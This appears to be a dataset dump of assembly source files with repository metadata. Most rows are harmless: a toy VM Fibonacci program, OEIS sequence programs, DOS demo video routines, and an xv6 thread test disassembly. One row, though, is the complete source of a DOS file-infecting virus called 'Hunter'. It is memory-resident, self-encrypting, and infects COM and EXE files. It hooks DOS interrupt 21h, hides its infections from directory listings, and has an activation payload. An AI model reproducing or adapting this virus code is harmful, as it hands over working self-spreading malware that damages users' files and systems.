hexsha
stringlengths 40
40
| size
int64 6
1.05M
| ext
stringclasses 3
values | lang
stringclasses 1
value | max_stars_repo_path
stringlengths 4
232
| max_stars_repo_name
stringlengths 7
106
| max_stars_repo_head_hexsha
stringlengths 40
40
| max_stars_repo_licenses
listlengths 1
7
| max_stars_count
int64 1
33.5k
⌀ | max_stars_repo_stars_event_min_datetime
stringlengths 24
24
⌀ | max_stars_repo_stars_event_max_datetime
stringlengths 24
24
⌀ | max_issues_repo_path
stringlengths 4
232
| max_issues_repo_name
stringlengths 7
106
| max_issues_repo_head_hexsha
stringlengths 40
40
| max_issues_repo_licenses
listlengths 1
7
| max_issues_count
int64 1
37.5k
⌀ | max_issues_repo_issues_event_min_datetime
stringlengths 24
24
⌀ | max_issues_repo_issues_event_max_datetime
stringlengths 24
24
⌀ | max_forks_repo_path
stringlengths 4
232
| max_forks_repo_name
stringlengths 7
106
| max_forks_repo_head_hexsha
stringlengths 40
40
| max_forks_repo_licenses
listlengths 1
7
| max_forks_count
int64 1
12.6k
⌀ | max_forks_repo_forks_event_min_datetime
stringlengths 24
24
⌀ | max_forks_repo_forks_event_max_datetime
stringlengths 24
24
⌀ | content
stringlengths 6
1.05M
| avg_line_length
float64 1.16
19.7k
| max_line_length
int64 2
938k
| alphanum_fraction
float64 0
1
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
64376a02466f8ad2f39514d3237d55ceb4024016
| 197
|
asm
|
Assembly
|
samples/fib.asm
|
andyfangdz/rust-vm
|
67a9a1825168bd7340251a744556193da6cb9af3
|
[
"MIT"
] | 1
|
2018-08-06T01:27:44.000Z
|
2018-08-06T01:27:44.000Z
|
samples/fib.asm
|
andyfangdz/rust-vm
|
67a9a1825168bd7340251a744556193da6cb9af3
|
[
"MIT"
] | null | null | null |
samples/fib.asm
|
andyfangdz/rust-vm
|
67a9a1825168bd7340251a744556193da6cb9af3
|
[
"MIT"
] | null | null | null |
MOVI R0 50
JEQI R0 1 1
JA 3
MOVI R0 1
INT 0
HALT
JEQI R0 2 1
JA 3
MOVI R0 12
INT 0
HALT
MOVI R1 1
MOVI R2 1
MOVI R4 2
JEQ R0 R4 5
MOV R3 R1
ADD R1 R2
MOV R2 R3
ADDI R4 1
JA -6
MOV R0 R1
INT 0
HALT
| 8.208333
| 11
| 0.690355
|
391c5ad7912a5e8ed182043bcc9e9c689631aac4
| 910
|
asm
|
Assembly
|
programs/oeis/290/A290074.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/290/A290074.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/290/A290074.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A290074: Decimal representation of the diagonal from the origin to the corner of the n-th stage of growth of the two-dimensional cellular automaton defined by "Rule 641", based on the 5-celled von Neumann neighborhood.
; 1,1,5,3,23,15,95,63,383,255,1535,1023,6143,4095,24575,16383,98303,65535,393215,262143,1572863,1048575,6291455,4194303,25165823,16777215,100663295,67108863,402653183,268435455,1610612735,1073741823,6442450943,4294967295,25769803775,17179869183,103079215103,68719476735,412316860415,274877906943,1649267441663,1099511627775,6597069766655,4398046511103,26388279066623,17592186044415,105553116266495,70368744177663,422212465065983,281474976710655,1688849860263935,1125899906842623,6755399441055743,4503599627370495
mov $2,$0
lpb $0
sub $0,1
add $2,$0
lpb $0
mod $2,4
lpb $0
sub $0,1
mul $2,2
mov $1,$2
lpe
lpe
trn $1,2
lpe
div $1,2
mul $1,2
add $1,1
| 43.333333
| 512
| 0.78022
|
f7074576fb54ce200d3a14b9bd480ff5e945baf9
| 7,212
|
asm
|
Assembly
|
source/jni/u2/glenz/vid.asm
|
Falken42/SecondReality
|
b998d193a066523cb4ca2b86c8041bea1bddfcb4
|
[
"Unlicense"
] | 9
|
2015-05-13T21:02:00.000Z
|
2018-04-15T16:32:27.000Z
|
source/jni/u2/glenz/vid.asm
|
falken42/SecondReality
|
b998d193a066523cb4ca2b86c8041bea1bddfcb4
|
[
"Unlicense"
] | null | null | null |
source/jni/u2/glenz/vid.asm
|
falken42/SecondReality
|
b998d193a066523cb4ca2b86c8041bea1bddfcb4
|
[
"Unlicense"
] | null | null | null |
include asm.inc
;publics:
;setvmode()
extrn _bgpic:far
text__vid SEGMENT para public 'CODE'
ASSUME cs:text__vid
.386
modes dw OFFSET v320x200x256
dw OFFSET v320x350x256
dw OFFSET v320x350x256
dw OFFSET v320x240x256
dw OFFSET vtseng640x400x256
PUBLIC setvmode
setvmode PROC FAR
;ax=mode => ds:si
mov bx,ax
shl bx,1
mov bx,cs:modes[bx]
mov cx,16
@@1: mov ax,cs:[bx]
mov ds:[si],ax
mov word ptr ds:[si+2],cs
add si,4
add bx,2
loop @@1
ret
setvmode ENDP
;video mode structure
v320x200x256 LABEL WORD
dw OFFSET init320x200 ;init routine
dw OFFSET switch320x200 ;page switcher
dw OFFSET clear64k ;clear all screens
dw OFFSET twpset
dw OFFSET twlineto
dw OFFSET twhline
dw OFFSET twhlinegroup
dw OFFSET twthlinegroup
dw OFFSET polygroup
dw OFFSET clearpage
dw OFFSET fwaitborder
v320x350x256 LABEL WORD
dw OFFSET init320x350 ;init routine
dw OFFSET switch320x350 ;page switcher
dw OFFSET clear64k ;clear all screens
dw OFFSET twpset
dw OFFSET twlineto
dw OFFSET twhline
dw OFFSET twhlinegroup
dw OFFSET twthlinegroup
dw OFFSET polygroup
dw OFFSET clearpage
dw OFFSET fwaitborder
v320x350x256unr LABEL WORD
dw OFFSET init320x350unr ;init routine
dw OFFSET switch320x350 ;page switcher
dw OFFSET clear64k ;clear all screens
dw OFFSET twpset
dw OFFSET twlineto
dw OFFSET twhline
dw OFFSET twhlinegroup
dw OFFSET twthlinegroup
dw OFFSET polygroup
dw OFFSET clearpage
dw OFFSET fwaitborder
v320x240x256 LABEL WORD
dw OFFSET init320x240 ;init routine
dw OFFSET switch320x240 ;page switcher
dw OFFSET clear64k ;clear all screens
dw OFFSET twpset
dw OFFSET twlineto
dw OFFSET twhline
dw OFFSET twhlinegroup
dw OFFSET twthlinegroup
dw OFFSET polygroup
dw OFFSET clearpage
dw OFFSET fwaitborder
vtseng640x400x256 LABEL WORD
dw OFFSET init640x400 ;init routine
dw OFFSET switch640x400 ;page switcher
dw OFFSET clear640x400 ;clear all screens
dw OFFSET twpset
dw OFFSET twlineto
dw OFFSET twhline
dw OFFSET twhlinegroup
dw OFFSET twthlinegroup
dw OFFSET polygroup
dw OFFSET clearpage
dw OFFSET fwaitborder
include vidmisc.asm
include vidinit.asm
include vidtwe.asm
include vidnrm.asm
include vidpoly.asm
;****************************************************************
setrows PROC NEAR
mov cs:rowsadd,dx
mov cs:truerowsadd,dx
xor ax,ax
mov bx,OFFSET rows
ain1: mov ds:[bx],ax
add ax,dx
add bx,2
loop ain1
ret
setrows ENDP
ALIGN 2
pagep dw 0
wpage dw 0,1,2
wpage2 dw 0,4,8
spage dw 2,0,1
init640x400 PROC FAR
LOADDS
mov ds:projxmul,256*2
mov ds:projymul,213*2
mov ds:projxadd,320
mov ds:projyadd,200
mov ds:projminz,128
mov ds:projminzshr,7
mov ds:wminx,0
mov ds:wminy,0
mov ds:wmaxx,639
mov ds:wmaxy,399
mov ds:framerate10,700 ;70 frames/sec
;
mov ax,11h ;640x480/mono
int 10h
call tweak640x400
mov cx,400
mov dx,160
call setrows
ret
init640x400 ENDP
switch640x400 PROC FAR
swipa2: mov ax,0a000h
mov cs:vram,ax
mov cs:truevram,ax
mov bx,cs:pagep
inc bx
cmp bx,3
jb sws1
xor bx,bx
sws1: mov cs:pagep,bx
shl bx,1
mov dx,3d4h
mov al,33h
mov ah,byte ptr cs:spage[bx]
out dx,ax ;spage
;set wpage
mov al,byte ptr cs:wpage[bx]
mov ah,al
rol ah,4
or al,ah
mov dx,3cdh
out dx,al
;page low offset
mov dx,3d4h
mov ax,000dh
out dx,ax
mov ax,000ch
out dx,ax
ret
switch640x400 ENDP
clear640x400 PROC FAR
call switch640x400
call clear64k
call switch640x400
call clear64k
call switch640x400
call clear64k
call switch640x400
call clear64k
ret
clear640x400 ENDP
;****************************************************************
ALIGN 2
t324v dw 0a5f0h
t324v1 dw 0aaa0h
t324v2 dw 0a140h
t324vout dw 01400h
t324vout1 dw 05f00h
t324vout2 dw 0aa00h
init320x200 PROC FAR
LOADDS
mov ds:projxmul,256
mov ds:projymul,213
mov ds:projxadd,160
mov ds:projyadd,130
mov ds:projminz,128
mov ds:projminzshr,7
mov ds:wminx,0
mov ds:wminy,0
mov ds:wmaxx,319
mov ds:wmaxy,199
mov ds:framerate10,700
;
; call tweak320x200
mov cx,200
mov dx,80
call setrows
ret
init320x200 ENDP
init320x240 PROC FAR
LOADDS
mov ds:projxmul,256
mov ds:projymul,256
mov ds:projxadd,160
mov ds:projyadd,120
mov ds:projminz,128
mov ds:projminzshr,7
mov ds:wminx,0
mov ds:wminy,0
mov ds:wmaxx,319
mov ds:wmaxy,239
mov ds:framerate10,610 ;60 frames/sec
;
call tweak320x200
LOADDS
mov si,OFFSET hseq1
call sethseq ;to 240 mode
mov cx,240
mov dx,80
call setrows
ret
init320x240 ENDP
switch320x240b PROC FAR
LOADDS
mov ax,cs:t324v
mov bx,cs:t324v1
mov cs:t324v,bx
mov cs:t324v1,ax
mov ds:vram,bx
mov ds:truevram,bx
mov bx,cs:t324vout1
mov cx,cs:t324vout2
mov cs:t324vout1,cx
mov cs:t324vout2,bx
mov dx,3d4h
mov al,0ch
mov ah,bh
out dx,ax
ret
switch320x240b ENDP
switch320x240 PROC FAR
switch320x200:
LOADDS
mov ax,cs:t324v
mov bx,cs:t324v1
mov cx,cs:t324v2
mov cs:t324v,bx
mov cs:t324v1,cx
mov cs:t324v2,ax
mov ds:vram,bx
mov ds:truevram,bx
mov ax,cs:t324vout
mov bx,cs:t324vout1
mov cx,cs:t324vout2
mov cs:t324vout,bx
mov cs:t324vout1,cx
mov cs:t324vout2,ax
mov dx,3d4h
mov al,0ch
mov ah,bh
out dx,ax
ret
switch320x240 ENDP
clear64k PROC FAR
cld
mov dx,3c4h
mov ax,0f02h
out dx,ax
mov ax,0a000h
mov es,ax
mov cx,32768
xor ax,ax
xor di,di
rep stosw
ret
clear64k ENDP
;****************************************************************
init320x350unr PROC FAR
LOADDS
mov ds:projxmul,256
mov ds:projymul,420
mov ds:projxadd,180
mov ds:projyadd,175
mov ds:projminz,128
mov ds:projminzshr,7
mov ds:wminx,0
mov ds:wminy,32
mov ds:wmaxx,359
mov ds:wmaxy,349-32
mov ds:framerate10,700 ;70 frames/sec
;
call tweak320x350
mov cx,350
mov dx,92
call setrows
ret
init320x350unr ENDP
init320x350 PROC FAR
LOADDS
mov ds:projxmul,256
mov ds:projymul,420
mov ds:projxadd,180
mov ds:projyadd,175
mov ds:projminz,128
mov ds:projminzshr,7
mov ds:wminx,0
mov ds:wminy,0
mov ds:wmaxx,359
mov ds:wmaxy,349
mov ds:framerate10,700 ;70 frames/sec
;
call tweak360x350
mov cx,350
mov dx,92
call setrows
ret
init320x350 ENDP
ALIGN 2
t365v dw 0a000h
t365v1 dw 0a800h
t365vo dw 08000h
t365vo1 dw 00000h
switch320x350 PROC FAR
LOADDS
mov ax,cs:t365v
xchg ax,cs:t365v1
mov cs:t365v,ax
mov ds:vram,ax
mov ds:truevram,ax
mov bx,cs:t365vo
xchg bx,cs:t365vo1
mov cs:t365vo,bx
mov dx,3d4h
mov al,0ch
mov ah,bh
out dx,ax
call waitborder
ret
switch320x350 ENDP
justret PROC FAR
ret
justret ENDP
clearpage PROC FAR
push ax
mov dx,3c4h
mov ax,0f02h
out dx,ax
mov es,ds:vram
mov di,ds:wminy
shl di,1
mov di,ds:rows[di]
mov ax,ds:wminx
mov dx,ds:wmaxx
sub dx,ax
shr ax,2
add di,ax
add dx,7
shr dx,4
mov cx,ds:wmaxy
sub cx,ds:wminy
inc cx
pop ax
push ax
shl eax,16
pop ax
@@1: push cx
push di
mov cx,dx
rep stosd
pop di
pop cx
add di,ds:rowsadd
loop @@1
ret
clearpage ENDP
text__vid ENDS
END
| 17.633252
| 66
| 0.693844
|
69bb3112bcabb9ae9af177e369fe3343205786ec
| 438
|
asm
|
Assembly
|
oeis/025/A025988.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/025/A025988.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/025/A025988.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A025988: Expansion of 1/((1-2x)(1-5x)(1-6x)(1-9x)).
; Submitted by Jon Maiga
; 1,22,315,3740,40121,405042,3935095,37284280,347419941,3201202862,29273641475,266321046420,2414445954961,21837387317482,197190900709455,1778695458106160,16032377546389181,144437380023772902
mov $1,1
mov $2,$0
mov $3,$0
lpb $2
mov $0,$3
sub $2,1
sub $0,$2
seq $0,16306 ; Expansion of 1/((1-2*x)*(1-6*x)*(1-9*x)).
mul $1,5
add $1,$0
lpe
mov $0,$1
| 25.764706
| 190
| 0.691781
|
c45db5a7421a5c89cc193aeff1555469945df39e
| 567
|
asm
|
Assembly
|
oeis/002/A002283.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/002/A002283.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/002/A002283.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A002283: a(n) = 10^n - 1.
; 0,9,99,999,9999,99999,999999,9999999,99999999,999999999,9999999999,99999999999,999999999999,9999999999999,99999999999999,999999999999999,9999999999999999,99999999999999999,999999999999999999,9999999999999999999,99999999999999999999,999999999999999999999,9999999999999999999999,99999999999999999999999,999999999999999999999999,9999999999999999999999999,99999999999999999999999999,999999999999999999999999999,9999999999999999999999999999,99999999999999999999999999999,999999999999999999999999999999
mov $1,10
pow $1,$0
sub $1,1
mov $0,$1
| 70.875
| 498
| 0.881834
|
c18ac8e3016c0860324c41c064706d94ac967bad
| 14,662
|
asm
|
Assembly
|
Hunter.asm
|
Venom37222/Hunter_Virus_SourceCode
|
c60ded7d25e199df0190acd87f2a0a5b9eb3e139
|
[
"CC0-1.0"
] | null | null | null |
Hunter.asm
|
Venom37222/Hunter_Virus_SourceCode
|
c60ded7d25e199df0190acd87f2a0a5b9eb3e139
|
[
"CC0-1.0"
] | null | null | null |
Hunter.asm
|
Venom37222/Hunter_Virus_SourceCode
|
c60ded7d25e199df0190acd87f2a0a5b9eb3e139
|
[
"CC0-1.0"
] | null | null | null |
; Hunter Virus Source Code in Assemble Language
; Coded by Venom37222
PING equ 0AE3Bh
PONG equ 0CD28h
STAMP equ 30
MARKER equ 04D4Dh
code segment
org 0
assume cs:code,ds:code
start:
db 0E9h,3,0 ; to virus
host:
db 0CDh,20h,0 ; host program
virus_begin:
db 0BBh ; decryption module
code_offset dw offset virus_code
mov dx,VIRUS_SIZE / 2 + 1
decrypt:
db 02Eh,081h,07h ; ADD CS:[BX]
cipher dw 0
inc bx
inc bx
dec dx
jnz decrypt
virus_code:
call $ + 3 ; BP is instruction ptr.
pop bp
sub bp,offset $ - 1
push ds es
mov ax,PING ; test for residency
int 21h
cmp bx,PONG
je installed
mov ax,es ; Get PSP
dec ax
mov ds,ax ; Get MCB
sub word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64
sub word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64
mov es,word ptr ds:[12h]
push cs ; copy virus into memory
pop ds
xor di,di
mov si,bp
mov cx,(virus_end - start) / 2 + 1
rep movsw
xor ax,ax ; capture interrupts
mov ds,ax
sub word ptr ds:[413h],(MEM_SIZE+1023) / 1024
mov si,21h * 4 ; get original int 21
mov di,offset old_int_21
movsw
movsw
mov word ptr ds:[si - 4],offset new_int_21
mov ds:[si - 2],es ; and set new int 21
installed:
call activate ; activation routine
pop es ds ; restore segregs
cmp sp,MARKER ; check for .EXE
je exe_exit
com_exit:
lea si,[bp + host] ; restore host program
mov di,100h
push di
movsw
movsb
call fix_regs ; fix up registers
ret ; and leave
exe_exit:
mov ax,ds ; fix up return address
add ax,10h
add ax,cs:[bp + exe_cs]
mov cs:[bp + return_cs],ax
mov ax,cs:[bp + exe_ip]
mov cs:[bp + return_ip],ax
mov sp,[bp + exe_sp] ; restore SP
call fix_regs ; fix up registers
db 0EAh ; back to host program
return_ip dw 0
return_cs dw 0
exe_cs dw -16 ; orig CS:IP
exe_ip dw 103h
exe_sp dw -2 ; orig SP
fix_regs:
xor ax,ax
cwd
xor bx,bx
mov si,100h
xor di,di
ret
; interrupt 21 handler
int_21:
pushf
call dword ptr cs:[old_int_21]
ret
new_int_21:
cmp ax,PING ; residency test
je ping_pong
cmp ax,4B00h ; execute program
je execute
cmp ah,3Dh ; file open
je file_open
cmp ah,11h ; directory stealth
je dir_stealth
cmp ah,12h
je dir_stealth
int_21_exit:
db 0EAh ; never mind ...
old_int_21 dd 0
ping_pong:
mov bx,PONG
iret
dir_stealth:
call int_21 ; get dir entry
test al,al
js dir_stealth_done
push ax bx es
mov ah,2Fh
int 21h
cmp byte ptr es:[bx],-1 ; check for extended FCB
jne no_ext_FCB
add bx,7
no_ext_FCB:
mov ax,es:[bx + 17h] ; check for infection marker
and al,31
cmp al,STAMP
jne dir_fixed
sub word ptr es:[bx + 1Dh],VIRUS_SIZE + 3
sbb word ptr es:[bx + 1Fh],0
dir_fixed:
pop es bx ax
dir_stealth_done:
iret
file_open:
push ax cx di es
call get_extension
cmp [di],'OC' ; .COM file?
jne perhaps_exe ; perhaps .EXE then
cmp byte ptr [di + 2],'M'
jne not_prog
jmp a_program
perhaps_exe:
cmp [di],'XE' ; .EXE file?
jne not_prog
cmp byte ptr [di + 2],'E'
jne not_prog
a_program:
pop es di cx ax
jmp execute ; infect file
not_prog:
pop es di cx ax
jmp int_21_exit
execute:
push ax bx cx dx si di ds es
xor ax,ax ; critical error handler
mov es,ax ; routine - catch int 24
mov es:[24h * 4],offset int_24
mov es:[24h * 4 + 2],cs
mov ax,4300h ; change attributes
int 21h
push cx dx ds
xor cx,cx
call set_attributes
mov ax,3D02h ; open file
call int_21
jc cant_open
xchg bx,ax
push cs ; CS = DS
pop ds
mov ax,5700h ; save file date/time
int 21h
push cx dx
mov ah,3Fh
mov cx,28
mov dx,offset read_buffer
int 21h
cmp word ptr read_buffer,'ZM' ; .EXE?
je infect_exe ; yes, infect as .EXE
mov al,2 ; move to end of file
call move_file_ptr
cmp dx,65279 - (VIRUS_SIZE + 3)
ja dont_infect ; too big, don't infect
sub dx,VIRUS_SIZE + 3 ; check for previous infection
cmp dx,word ptr read_buffer + 1
je dont_infect
add dx,VIRUS_SIZE + 3
mov word ptr new_jump + 1,dx
add dx,103h
call encrypt_code ; encrypt virus
mov dx,offset read_buffer ; save original program head
int 21h
mov ah,40h ; write virus to file
mov cx,VIRUS_SIZE
mov dx,offset encrypt_buffer
int 21h
xor al,al ; back to beginning of file
call move_file_ptr
mov dx,offset new_jump ; and write new jump
int 21h
fix_date_time:
pop dx cx
and cl,-32 ; add time stamp
or cl,STAMP ; for directory stealth
mov ax,5701h ; restore file date/time
int 21h
close:
pop ds dx cx ; restore attributes
call set_attributes
mov ah,3Eh ; close file
int 21h
cant_open:
pop es ds di si dx cx bx ax
jmp int_21_exit ; leave
set_attributes:
mov ax,4301h
int 21h
ret
dont_infect:
pop cx dx ; can't infect, skip
jmp close
move_file_ptr:
mov ah,42h ; move file pointer
cwd
xor cx,cx
int 21h
mov dx,ax ; set up registers
mov ah,40h
mov cx,3
ret
infect_exe:
cmp word ptr read_buffer[26],0
jne dont_infect ; overlay, don't infect
cmp word ptr read_buffer[16],MARKER
je dont_infect ; infected already
les ax,dword ptr read_buffer[20]
mov exe_cs,es ; CS
mov exe_ip,ax ; IP
mov ax,word ptr read_buffer[16]
mov exe_sp,ax ; SP
mov word ptr read_buffer[16],MARKER
mov ax,4202h ; to end of file
cwd
xor cx,cx
int 21h
push ax dx ; save file size
push bx
mov cl,12 ; calculate offsets for CS
shl dx,cl ; and IP
mov bx,ax
mov cl,4
shr bx,cl
add dx,bx
and ax,15
pop bx
sub dx,word ptr read_buffer[8]
mov word ptr read_buffer[22],dx
mov word ptr read_buffer[20],ax
pop dx ax ; calculate prog size
add ax,VIRUS_SIZE + 3
adc dx,0
mov cx,512 ; in pages
div cx ; then save results
inc ax
mov word ptr read_buffer[2],dx
mov word ptr read_buffer[4],ax
mov dx,word ptr read_buffer[20]
call encrypt_code ; encrypt virus
mov ah,40h
mov cx,VIRUS_SIZE + 3
mov dx,offset encrypt_buffer
int 21h
mov ax,4200h ; back to beginning
cwd
xor cx,cx
int 21h
mov ah,40h ; and fix up header
mov cx,28
mov dx,offset read_buffer
int 21h
jmp fix_date_time ; done
courtesy_of db '[BW]',0
signature db '[Archer] MnemoniX `94',0
activate:
xor ah,ah ; get system time
int 1Ah
cmp dl,0F1h
jb no_activate
mov ah,0Fh ; get display page
int 10h
mov al,dl ; random number, 0-15
and al,15
mov ah,3 ; activating - get cursor
int 10h ; position and save
push dx
mov dh,al ; set cursor at random
xor dl,dl ; row, column 1
mov ah,2
int 10h
mov di,79
mov cx,1
arrow:
mov ax,91Ah ; print arrow and erase
mov bl,10 ; 79 times
int 10h
push cx ; time delay
mov cx,-200
rep lodsb
pop cx
mov ah,2
mov dl,' '
int 21h
dec di
jnz arrow
pop dx ; reset cursor
mov ah,2
int 10h ; and we're done
no_activate:
ret
get_extension:
push ds ; find extension
pop es
mov di,dx
mov cx,64
mov al,'.'
repnz scasb
ret
encrypt_code:
push ax cx
push dx
xor ah,ah ; get time for random number
int 1Ah
mov cipher,dx ; save encryption key
pop cx
add cx,virus_code - virus_begin
mov code_offset,cx ; save code offset
push cs ; ES = CS
pop es
mov si,offset virus_begin ; move decryption module
mov di,offset encrypt_buffer
mov cx,virus_code - virus_begin
rep movsb
mov cx,VIRUS_SIZE / 2 + 1
encrypt:
lodsw ; encrypt virus code
sub ax,dx
stosw
loop encrypt
pop cx ax
ret
int_24:
mov al,3 ; int 24 handler
iret
new_jump db 0E9h,0,0
virus_end:
VIRUS_SIZE equ virus_end - virus_begin
read_buffer db 28 dup (?) ; read buffer
encrypt_buffer db VIRUS_SIZE dup (?) ; encryption buffer
end_heap:
MEM_SIZE equ end_heap - start
code ends
end start
| 32.083151
| 78
| 0.353567
|
05cffbbafa1cfe02708f3300ee37b4a490cabca9
| 46,362
|
asm
|
Assembly
|
test_14.asm
|
Anson-Doan/-CS537-Spring2021-P3b-xv6KernelThreads
|
1f48674b6c30c9b5bdc66f85708823fa4a261f1a
|
[
"MIT-0"
] | null | null | null |
test_14.asm
|
Anson-Doan/-CS537-Spring2021-P3b-xv6KernelThreads
|
1f48674b6c30c9b5bdc66f85708823fa4a261f1a
|
[
"MIT-0"
] | null | null | null |
test_14.asm
|
Anson-Doan/-CS537-Spring2021-P3b-xv6KernelThreads
|
1f48674b6c30c9b5bdc66f85708823fa4a261f1a
|
[
"MIT-0"
] | null | null | null |
_test_14: file format elf32-i386
Disassembly of section .text:
00000000 <worker>:
printf(1, "TEST PASSED\n");
exit();
}
void
worker(void *arg1, void *arg2) {
0: f3 0f 1e fb endbr32
4: 55 push %ebp
5: 89 e5 mov %esp,%ebp
7: 83 ec 08 sub $0x8,%esp
int tmp1 = *(int*)arg1;
int tmp2 = *(int*)arg2;
a: 8b 45 0c mov 0xc(%ebp),%eax
d: 8b 10 mov (%eax),%edx
assert(tmp1 == 42);
f: 8b 45 08 mov 0x8(%ebp),%eax
12: 83 38 2a cmpl $0x2a,(%eax)
15: 75 1d jne 34 <worker+0x34>
assert(tmp2 == 24);
17: 83 fa 18 cmp $0x18,%edx
1a: 75 61 jne 7d <worker+0x7d>
assert(global == 1);
1c: a1 9c 0d 00 00 mov 0xd9c,%eax
21: 83 f8 01 cmp $0x1,%eax
24: 0f 85 9c 00 00 00 jne c6 <worker+0xc6>
global++;
2a: 83 c0 01 add $0x1,%eax
2d: a3 9c 0d 00 00 mov %eax,0xd9c
// no exit() in thread
}
32: c9 leave
33: c3 ret
assert(tmp1 == 42);
34: 6a 2c push $0x2c
36: 68 84 09 00 00 push $0x984
3b: 68 8e 09 00 00 push $0x98e
40: 6a 01 push $0x1
42: e8 7d 06 00 00 call 6c4 <printf>
47: 83 c4 0c add $0xc,%esp
4a: 68 96 09 00 00 push $0x996
4f: 68 a1 09 00 00 push $0x9a1
54: 6a 01 push $0x1
56: e8 69 06 00 00 call 6c4 <printf>
5b: 83 c4 08 add $0x8,%esp
5e: 68 b5 09 00 00 push $0x9b5
63: 6a 01 push $0x1
65: e8 5a 06 00 00 call 6c4 <printf>
6a: 83 c4 04 add $0x4,%esp
6d: ff 35 ac 0d 00 00 pushl 0xdac
73: e8 3b 05 00 00 call 5b3 <kill>
78: e8 fe 04 00 00 call 57b <exit>
assert(tmp2 == 24);
7d: 6a 2d push $0x2d
7f: 68 84 09 00 00 push $0x984
84: 68 8e 09 00 00 push $0x98e
89: 6a 01 push $0x1
8b: e8 34 06 00 00 call 6c4 <printf>
90: 83 c4 0c add $0xc,%esp
93: 68 c2 09 00 00 push $0x9c2
98: 68 a1 09 00 00 push $0x9a1
9d: 6a 01 push $0x1
9f: e8 20 06 00 00 call 6c4 <printf>
a4: 83 c4 08 add $0x8,%esp
a7: 68 b5 09 00 00 push $0x9b5
ac: 6a 01 push $0x1
ae: e8 11 06 00 00 call 6c4 <printf>
b3: 83 c4 04 add $0x4,%esp
b6: ff 35 ac 0d 00 00 pushl 0xdac
bc: e8 f2 04 00 00 call 5b3 <kill>
c1: e8 b5 04 00 00 call 57b <exit>
assert(global == 1);
c6: 6a 2e push $0x2e
c8: 68 84 09 00 00 push $0x984
cd: 68 8e 09 00 00 push $0x98e
d2: 6a 01 push $0x1
d4: e8 eb 05 00 00 call 6c4 <printf>
d9: 83 c4 0c add $0xc,%esp
dc: 68 cd 09 00 00 push $0x9cd
e1: 68 a1 09 00 00 push $0x9a1
e6: 6a 01 push $0x1
e8: e8 d7 05 00 00 call 6c4 <printf>
ed: 83 c4 08 add $0x8,%esp
f0: 68 b5 09 00 00 push $0x9b5
f5: 6a 01 push $0x1
f7: e8 c8 05 00 00 call 6c4 <printf>
fc: 83 c4 04 add $0x4,%esp
ff: ff 35 ac 0d 00 00 pushl 0xdac
105: e8 a9 04 00 00 call 5b3 <kill>
10a: e8 6c 04 00 00 call 57b <exit>
0000010f <main>:
{
10f: f3 0f 1e fb endbr32
113: 8d 4c 24 04 lea 0x4(%esp),%ecx
117: 83 e4 f0 and $0xfffffff0,%esp
11a: ff 71 fc pushl -0x4(%ecx)
11d: 55 push %ebp
11e: 89 e5 mov %esp,%ebp
120: 53 push %ebx
121: 51 push %ecx
122: 83 ec 10 sub $0x10,%esp
ppid = getpid();
125: e8 d9 04 00 00 call 603 <getpid>
12a: a3 ac 0d 00 00 mov %eax,0xdac
int arg1 = 42, arg2 = 24;
12f: c7 45 f4 2a 00 00 00 movl $0x2a,-0xc(%ebp)
136: c7 45 f0 18 00 00 00 movl $0x18,-0x10(%ebp)
int thread_pid = thread_create(worker, &arg1, &arg2);
13d: 83 ec 04 sub $0x4,%esp
140: 8d 45 f0 lea -0x10(%ebp),%eax
143: 50 push %eax
144: 8d 45 f4 lea -0xc(%ebp),%eax
147: 50 push %eax
148: 68 00 00 00 00 push $0x0
14d: e8 c7 02 00 00 call 419 <thread_create>
assert(thread_pid > 0);
152: 83 c4 10 add $0x10,%esp
155: 85 c0 test %eax,%eax
157: 7e 65 jle 1be <main+0xaf>
159: 89 c3 mov %eax,%ebx
int join_pid = thread_join();
15b: e8 46 03 00 00 call 4a6 <thread_join>
assert(join_pid == thread_pid);
160: 39 c3 cmp %eax,%ebx
162: 0f 85 9f 00 00 00 jne 207 <main+0xf8>
assert(global == 2);
168: 83 3d 9c 0d 00 00 02 cmpl $0x2,0xd9c
16f: 0f 84 db 00 00 00 je 250 <main+0x141>
175: 6a 22 push $0x22
177: 68 84 09 00 00 push $0x984
17c: 68 8e 09 00 00 push $0x98e
181: 6a 01 push $0x1
183: e8 3c 05 00 00 call 6c4 <printf>
188: 83 c4 0c add $0xc,%esp
18b: 68 ff 09 00 00 push $0x9ff
190: 68 a1 09 00 00 push $0x9a1
195: 6a 01 push $0x1
197: e8 28 05 00 00 call 6c4 <printf>
19c: 83 c4 08 add $0x8,%esp
19f: 68 b5 09 00 00 push $0x9b5
1a4: 6a 01 push $0x1
1a6: e8 19 05 00 00 call 6c4 <printf>
1ab: 83 c4 04 add $0x4,%esp
1ae: ff 35 ac 0d 00 00 pushl 0xdac
